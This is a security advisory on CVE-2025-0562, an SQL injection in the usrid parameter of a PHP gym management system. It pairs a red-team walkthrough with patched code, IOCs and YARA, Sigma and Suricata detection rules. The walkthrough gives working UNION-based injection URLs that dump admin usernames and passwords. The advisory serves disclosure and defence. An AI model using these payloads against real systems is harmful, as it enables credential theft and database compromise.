CVE-2025-0562

Executive Summary

CVE-2025-0562 is a critical unauthenticated SQL injection vulnerability in Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/health_status_entry.php endpoint, where the usrid parameter is directly concatenated into SQL queries without sanitization or parameterization. This allows remote attackers to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and administrative account takeover. The exploit has been publicly disclosed, increasing the risk of widespread scanning and attacks. No official patch is available from the vendor, making immediate mitigation essential.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None – The attacker does not need to trick a legitimate user.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full database contents can be read.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database operations can be disrupted.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the usrid parameter of health_status_entry.php. The application likely constructs a SQL query similar to:

SELECT * FROM health_status WHERE usrid = $_GET['usrid'];

Without input validation or prepared statements, an attacker can inject SQL commands by providing a malicious value for usrid. For example:

http://target.com/dashboard/admin/health_status_entry.php?usrid=1' OR '1'='1

This would result in the query:

SELECT * FROM health_status WHERE usrid = '1' OR '1'='1';

Returning all rows from the table. More sophisticated payloads can be used for UNION-based data extraction, time-based blind injection, or stacked queries (if supported by the database backend, likely MySQL).

The application is written in PHP and uses MySQL as the database backend. The lack of parameterized queries (PDO or MySQLi prepared statements) is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$usrid = $_GET['usrid'];
$query = "SELECT * FROM health_status WHERE usrid = '$usrid'";
$result = mysqli_query($conn, $query);
?>

Patched Code (PHP):

<?php
$usrid = $_GET['usrid'];
$stmt = $conn->prepare("SELECT * FROM health_status WHERE usrid = ?");
$stmt->bind_param("s", $usrid);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements with bound parameters, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install XAMPP or WAMP on a local machine.
2. Download Codezips Gym Management System 1.0 from the official source.
3. Place the files in the web server's document root.
4. Import the provided SQL database.
5. Access the application at http://localhost/gym/.

Exploitation Steps:

1. Identify the vulnerable endpoint: /dashboard/admin/health_status_entry.php.
2. Test for SQL injection by appending a single quote to the usrid parameter:

   http://localhost/gym/dashboard/admin/health_status_entry.php?usrid=1'
   

   If an error is returned (e.g., "You have an error in your SQL syntax"), the parameter is injectable.
3. Use UNION-based injection to extract data. Determine the number of columns:

   http://localhost/gym/dashboard/admin/health_status_entry.php?usrid=1' ORDER BY 1-- -
   

   Increment the number until an error occurs.
4. Extract database version and user:

   http://localhost/gym/dashboard/admin/health_status_entry.php?usrid=1' UNION SELECT 1,@@version,3,4-- -
   

5. Dump admin credentials from the users table:

   http://localhost/gym/dashboard/admin/health_status_entry.php?usrid=1' UNION SELECT 1,username,password,4 FROM users-- -
   

Example Payload (URL-encoded):

http://localhost/gym/dashboard/admin/health_status_entry.php?usrid=1%27%20UNION%20SELECT%201%2Cusername%2Cpassword%2C4%20FROM%20users--%20-

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for suspicious usrid parameters containing SQL keywords (UNION, SELECT, OR, AND, etc.).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement input validation: allow only numeric values for usrid.
4. Use parameterized queries in the application code.

Hunting Queries:

• Search for requests to /dashboard/admin/health_status_entry.php with non-numeric usrid values.
• Look for error messages containing "SQL syntax" or "mysql_fetch_array()".

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /dashboard/admin/health_status_entry.php with usrid containing SQL keywords.
  • Outbound database connections from the web server to unknown IPs (data exfiltration).
• File IOCs:
  • Modified PHP files in the dashboard/admin/ directory.
  • Suspicious files uploaded via SQL injection (e.g., webshells).
• Log IOCs:
  • Web server logs showing repeated usrid parameter manipulation.
  • Database logs showing unusual queries (if enabled).

Detection Engineering

YARA Rule

rule CVE_2025_0562_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0562 in Gym Management System"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-0562"
    strings:
        $sqli_pattern1 = /usrid=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /health_status_entry\.php\?usrid=.*%27/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-0562 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Gym Management System health_status_entry.php
author: Valters IT
date: 2025/02/20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'usrid='
        cs-uri-query|re: 
            - '.*['\''"].*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#).*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in usrid (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0562 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/dashboard/admin/health_status_entry.php"; http_uri; content:"usrid="; http_uri; pcre:"/usrid=.*['\''\"].*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by removing or renaming health_status_entry.php until a patch is applied.
2. Implement a WAF with rules to block SQL injection patterns.
3. Restrict network access to the admin dashboard (e.g., IP whitelisting).

Long-term Fix:

1. Apply parameterized queries (PDO or MySQLi prepared statements) to all database interactions.
2. Conduct a full code audit for similar vulnerabilities.
3. Update to the latest version of the software if a patch becomes available.

Workaround:

• Add input validation in PHP to allow only numeric values for usrid:

  if (!is_numeric($_GET['usrid'])) {
      die("Invalid input");
  }
  

Valters IT
Securing Digital Frontiers